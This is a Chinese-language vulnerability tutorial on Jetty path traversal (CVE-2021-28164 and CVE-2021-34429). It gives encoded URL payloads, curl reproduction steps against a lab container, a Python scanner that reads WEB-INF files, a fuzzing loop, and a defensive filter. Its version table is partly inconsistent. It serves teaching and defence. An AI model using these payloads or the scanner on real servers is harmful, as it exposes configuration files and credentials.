Jetty 9.4.37-9.4.42 路径遍历漏洞复现:3种Payload绕过修复读取WEB-INF
Jetty路径遍历漏洞深度解析从漏洞原理到实战绕过技巧漏洞背景与影响范围Jetty作为Eclipse基金会旗下的轻量级Java Web服务器和Servlet容器在开发和生产环境中被广泛使用。2021年曝光的CVE-2021-28164和后续的CVE-2021-34429漏洞链暴露了Jetty在处理URI规范化过程中的严重缺陷允许攻击者绕过安全限制访问WEB-INF目录下的敏感文件。受影响版本范围9.4.37 ≤ Eclipse Jetty ≤ 9.4.4210.0.1 ≤ Eclipse Jetty ≤ 10.0.511.0.1 ≤ Eclipse Jetty ≤ 11.0.5这些漏洞的核心在于Jetty对RFC 3986规范的实现缺陷。根据RFC标准URI中的.和..应被解释为路径层次结构中的相对引用并在解析过程中被移除。Jetty在9.4.37版本中为符合该规范引入了新的URI处理逻辑却意外打开了潘多拉魔盒。漏洞原理深度剖析URI规范化机制缺陷Jetty的漏洞根源在于其URI规范化处理流程存在逻辑漏洞。当服务器接收到包含特殊编码的URI请求时解码阶段Jetty会先对URL编码字符进行解码规范化阶段然后应用路径规范化规则处理.和..安全检查最后验证路径是否合法问题出在规范化阶段没有考虑多种编码形式的攻击向量。攻击者可以通过精心构造的编码字符绕过安全检查GET /%2e/WEB-INF/web.xml HTTP/1.1 Host: vulnerable-server:8080三种有效Payload的运作机制1. URL编码绕过/%2e/%2e是.的URL编码形式解码后形成合法路径/./WEB-INF/web.xml规范化处理时./被保留而非移除2. Unicode编码绕过/%u002e/%u002e是.的Unicode编码Jetty支持非标准的%uXXXX编码格式解码后同样形成/./结构3. 空字节截断/.%00/%00代表空字节部分Java文件系统API会截断空字节后的内容导致安全检查只看到/.而忽略后续路径技术细节这三种Payload在Jetty不同版本中的效果有所差异9.4.40修复了%2e方式但未处理其他两种直到9.4.43才完全修复。漏洞环境搭建与复现Docker漏洞环境快速部署使用以下命令启动包含漏洞的Jetty 9.4.40环境docker run -d -p 8080:8080 vulhub/jetty:9.4.40验证环境是否正常运行curl http://localhost:8080 # 应返回Jetty欢迎页面分步复现过程正常访问测试应返回404curl -v http://localhost:8080/WEB-INF/web.xml使用%2e绕过CVE-2021-28164curl -v http://localhost:8080/%2e/WEB-INF/web.xml使用%u002e绕过CVE-2021-34429curl -v http://localhost:8080/%u002e/WEB-INF/web.xml使用空字节绕过curl -v http://localhost:8080/.%00/WEB-INF/web.xml漏洞影响版本对照表Jetty版本CVE-2021-28164CVE-2021-34429修复版本9.4.37受影响受影响-9.4.39已修复受影响首个修复9.4.42已修复受影响-9.4.43已修复已修复完全修复高级利用技巧WEB-INF目录结构解析典型的Java Web应用WEB-INF目录包含WEB-INF/ ├── web.xml - 应用部署描述符 ├── classes/ - 编译后的Java类文件 ├── lib/ - 依赖的JAR库 └── tags/ - 自定义标签库敏感信息价值评估web.xml数据库连接字符串、安全约束配置classes/可能包含业务逻辑和硬编码凭证lib/暴露使用的框架和组件版本自动化探测脚本示例import requests import urllib.parse TARGET http://target:8080 PATHS [WEB-INF/web.xml, WEB-INF/classes/com/example/Config.class] PAYLOADS [ /%2e/, # URL编码 /%u002e/, # Unicode编码 /.%00/, # 空字节截断 /a/b/..%00/ # 嵌套路径变种 ] def check_vulnerability(): for path in PATHS: for payload in PAYLOADS: test_url TARGET payload path try: r requests.get(test_url, timeout5) if r.status_code 200 and xml in r.headers.get(Content-Type,): print(f[] Vulnerable: {test_url}) return True except Exception as e: print(f[-] Error testing {test_url}: {str(e)}) return False防御措施与修复方案临时缓解方案对于无法立即升级的系统可通过以下方式降低风险添加安全过滤器public class PathTraversalFilter implements Filter { Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String path ((HttpServletRequest)request).getRequestURI(); if (path.contains(%2e) || path.contains(%u002e) || path.contains(%00)) { ((HttpServletResponse)response).sendError(403, Forbidden); return; } chain.doFilter(request, response); } }修改jetty.xml配置Configure idServer classorg.eclipse.jetty.server.Server Call nameaddBean Arg New classorg.eclipse.jetty.server.handler.InetAccessHandler Set nameblack Array typeString Item/Item /Array /Set /New /Arg /Call /Configure永久修复方案版本升级路径9.x用户升级至9.4.4310.x用户升级至10.0.611.x用户升级至11.0.6升级命令示例# 查看当前Jetty版本 java -jar start.jar --version # Maven项目升级依赖 dependency groupIdorg.eclipse.jetty/groupId artifactIdjetty-server/artifactId version9.4.43.v20210629/version /dependency漏洞挖掘方法论中间件漏洞研究框架协议规范分析深入研究RFC 3986 URI规范对比不同服务器实现差异编码转换测试矩阵编码类型测试字符预期行为URL编码%2e应被拦截Unicode编码%u002e应被拦截双重编码%252e应被拦截边界条件测试超长路径1024字符混合编码组合特殊字符组合如/.;/自动化Fuzz测试使用Radamsa生成变异测试用例echo /WEB-INF/web.xml | radamsa --count 100 --output testcases/%n.txt然后批量测试for file in testcases/*; do curl -v http://target:8080/$(cat $file) done延伸思考与研究方向Java Web容器安全共性Jetty漏洞反映出的几个Java Web容器共性问题URI解析一致性各容器对规范实现存在差异编码处理复杂性多层解码导致安全边界模糊默认安全配置过度宽松的默认权限设置未来研究方向建议语义化漏洞检测基于AST分析URI处理逻辑构建路径规范化模型差分测试框架对比不同版本/容器的行为差异自动识别安全修复引入的回归机器学习应用训练模型识别恶意URI模式异常检测监控可疑访问在实际渗透测试中这类路径遍历漏洞往往能打开突破口配合其他漏洞形成攻击链。建议安全团队将中间件漏洞扫描纳入常规安全评估流程特别关注版本升级后的配置兼容性问题。

相关新闻

基于51/STM32单片机智能马桶设计 久坐提醒 换气除臭 杀菌消毒3314(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码

基于51/STM32单片机智能马桶设计 久坐提醒 换气除臭 杀菌消毒3314(设计源文件+万字报告+讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码

基于51/STM32单片机智能马桶设计 久坐提醒 换气除臭 杀菌消毒3314(设计源文件万字报告讲解)(支持资料、图片参考_相关定制)_文章底部可以扫码 温湿度冲水节能马桶开关(51系列版本)OLED显示温度,湿度,入厕时…

2026/7/8 20:44:13阅读更多 →
Jetty 9.4.6-11.0.0 拒绝服务漏洞CVE-2020-27223:模糊测试与防御配置

Jetty 9.4.6-11.0.0 拒绝服务漏洞CVE-2020-27223:模糊测试与防御配置

Jetty 9.4.6-11.0.0拒绝服务漏洞深度剖析:从模糊测试到防御实践 1. 漏洞背景与影响范围 Jetty作为Eclipse基金会旗下的轻量级Java Web服务器和Servlet容器,凭借其模块化设计和嵌入式特性,在云计算、微服务架构和持续集成环境中占据重要地位。…

2026/7/8 20:44:13阅读更多 →
Jetty 9.4.37-9.4.42 路径遍历漏洞深度解析:3种绕过手法与修复方案对比

Jetty 9.4.37-9.4.42 路径遍历漏洞深度解析:3种绕过手法与修复方案对比

Jetty路径遍历漏洞全解析:从RFC 3986规范到实战绕过技巧 在Java Web生态中,Jetty作为轻量级高性能的Servlet容器,被广泛应用于微服务架构和云原生环境。然而其9.4.37至9.4.42版本存在的路径遍历漏洞(CVE-2021-28164及其绕过漏洞CV…

2026/7/8 20:44:13阅读更多 →
Unity水体Shader开发:核心问题诊断与性能优化实战指南

Unity水体Shader开发:核心问题诊断与性能优化实战指南

1. 项目概述:Unity水体Shader的“痛”与“通”做Unity项目,尤其是开放世界、RPG或者任何需要自然场景的游戏,水体效果几乎是个绕不开的坎。一个写实或风格化的水面,能瞬间提升场景的沉浸感和品质感。但说实话,Unity的水…

2026/7/8 21:39:21阅读更多 →
ADCIRC 55.1 在 Ubuntu 22.04 上的编译与部署:解决 NETCDF 依赖的 3 个关键步骤

ADCIRC 55.1 在 Ubuntu 22.04 上的编译与部署:解决 NETCDF 依赖的 3 个关键步骤

ADCIRC 55.1 在 Ubuntu 22.04 上的编译与部署:解决 NETCDF 依赖的 3 个关键步骤对于从事海洋水动力模拟的研究人员和工程师来说,ADCIRC 是一个不可或缺的工具。作为新一代海洋水动力计算模型,它采用非结构三角形网格和广义波动连续方程的设计…

2026/7/8 21:39:21阅读更多 →
大疆C板缓启动电路 RC参数计算:从24V VBAT到PMOS导通的3个关键时间常数

大疆C板缓启动电路 RC参数计算:从24V VBAT到PMOS导通的3个关键时间常数

大疆C板缓启动电路RC参数计算:从24V VBAT到PMOS导通的3个关键时间常数在嵌入式硬件设计中,电源管理电路的设计往往决定了整个系统的稳定性和可靠性。大疆RoboMaster C型开发板作为一款面向机器人竞赛的高性能控制平台,其缓启动电路的设计尤为…

2026/7/8 21:39:21阅读更多 →
AlbionOnline-StatisticsAnalysis v2.5.8 安装配置:Windows 10/11 系统 3 步完成环境部署

AlbionOnline-StatisticsAnalysis v2.5.8 安装配置:Windows 10/11 系统 3 步完成环境部署

AlbionOnline-StatisticsAnalysis v2.5.8 安装配置:Windows 10/11 系统 3 步完成环境部署 作为 Albion Online 玩家,你是否曾为无法量化战斗表现而苦恼?StatisticsAnalysis 工具的出现彻底改变了这一现状。这款由 Triky313 开发的第三方插件…

2026/7/8 21:39:21阅读更多 →
跨架构技术突破:TigerVNC在信创环境中的深度适配实践

跨架构技术突破:TigerVNC在信创环境中的深度适配实践

跨架构技术突破:TigerVNC在信创环境中的深度适配实践 【免费下载链接】tigervnc High performance, multi-platform VNC client and server 项目地址: https://gitcode.com/gh_mirrors/ti/tigervnc 随着信创产业的快速发展,国产化平台上的远程桌面…

2026/7/8 21:39:21阅读更多 →
154、VFL 不对称焦点损失的 YOLOv11 代码:对正负样本采用不同降权策略的 IoU-Aware 设计

154、VFL 不对称焦点损失的 YOLOv11 代码:对正负样本采用不同降权策略的 IoU-Aware 设计

154、VFL 不对称焦点损失的 YOLOv11 代码:对正负样本采用不同降权策略的 IoU-Aware 设计 从一次诡异的mAP抖动说起 去年年底帮一个自动驾驶项目调YOLOv11的检测头,客户反馈说夜间场景下小目标召回率突然掉了8个点。我翻了两天日志,发现罪魁祸首是正负样本的loss权重分配—…

2026/7/8 21:34:21阅读更多 →
从GitHub安全案例解析常见漏洞与防护实践

从GitHub安全案例解析常见漏洞与防护实践

1. 项目概述:从GitHub Trending看安全实战 最近在GitHub Trending上看到一个项目,叫 skills4/skills ,它因为一些安全漏洞案例被大家讨论。这其实是一个挺典型的场景:一个旨在展示或教授某种技能的仓库,本身却成了安…

2026/7/8 5:12:14阅读更多 →
MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

# MLT 2026启示:因果推理与概率建模驱动下一代LLM应用## 一、背景与挑战:从“黑箱预测”到“可信推理”2026年6月,第7届机器学习与趋势国际会议(MLT 2026)将在悉尼召开。会议议程中,“因果与可解释机器学习…

2026/7/8 7:00:12阅读更多 →
通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

1. 项目概述与漏洞背景最近在梳理一些历史OA系统的安全风险时,通达OA v11.6版本中的一个老漏洞又进入了我的视线。这个漏洞位于/general/bi_design/appcenter/report_bi.func.php文件中,是一个典型的SQL注入点。虽然这个漏洞的利用方式看起来并不复杂&am…

2026/7/8 2:26:06阅读更多 →
作为一个给团队打绩效的人,我想说几句

作为一个给团队打绩效的人,我想说几句

我每半年都会给团队成员打绩效,也会参与和 CTO 的绩效校准,所以从管理者的视角,说说这件事 首先,我先把结论告诉你:接受结果,但一定要把原因问清楚。 因为当绩效公布到你这里的时候,结果基本已…

2026/7/8 0:01:17阅读更多 →
A股股指期货:全维度解析(多表格结构化完整版)

A股股指期货:全维度解析(多表格结构化完整版)

一、基础定义与核心本质股指期货全称股票价格指数期货,是中国金融期货交易所(中金所)上市的标准化金融期货合约,交易标的为 A 股大盘指数,约定未来特定时间按约定价格现金交割指数涨跌差价,不交割一篮子股票…

2026/7/8 0:01:17阅读更多 →
iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事

iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事

iOS越狱新手指南:从困惑到掌控,3天解锁iPhone无限潜能的真实故事 【免费下载链接】Jailbreak iOS 26.4 - 26, 17 - 17.7.5 & iOS 18 - 18.7.3 Jailbreak Tools, Cydia/Sileo/Zebra Tweaks & Jailbreak News Updates || AI Jailbreak Finder &…

2026/7/8 0:01:17阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/8 6:59:54阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/8 13:42:39阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/8 13:42:39阅读更多 →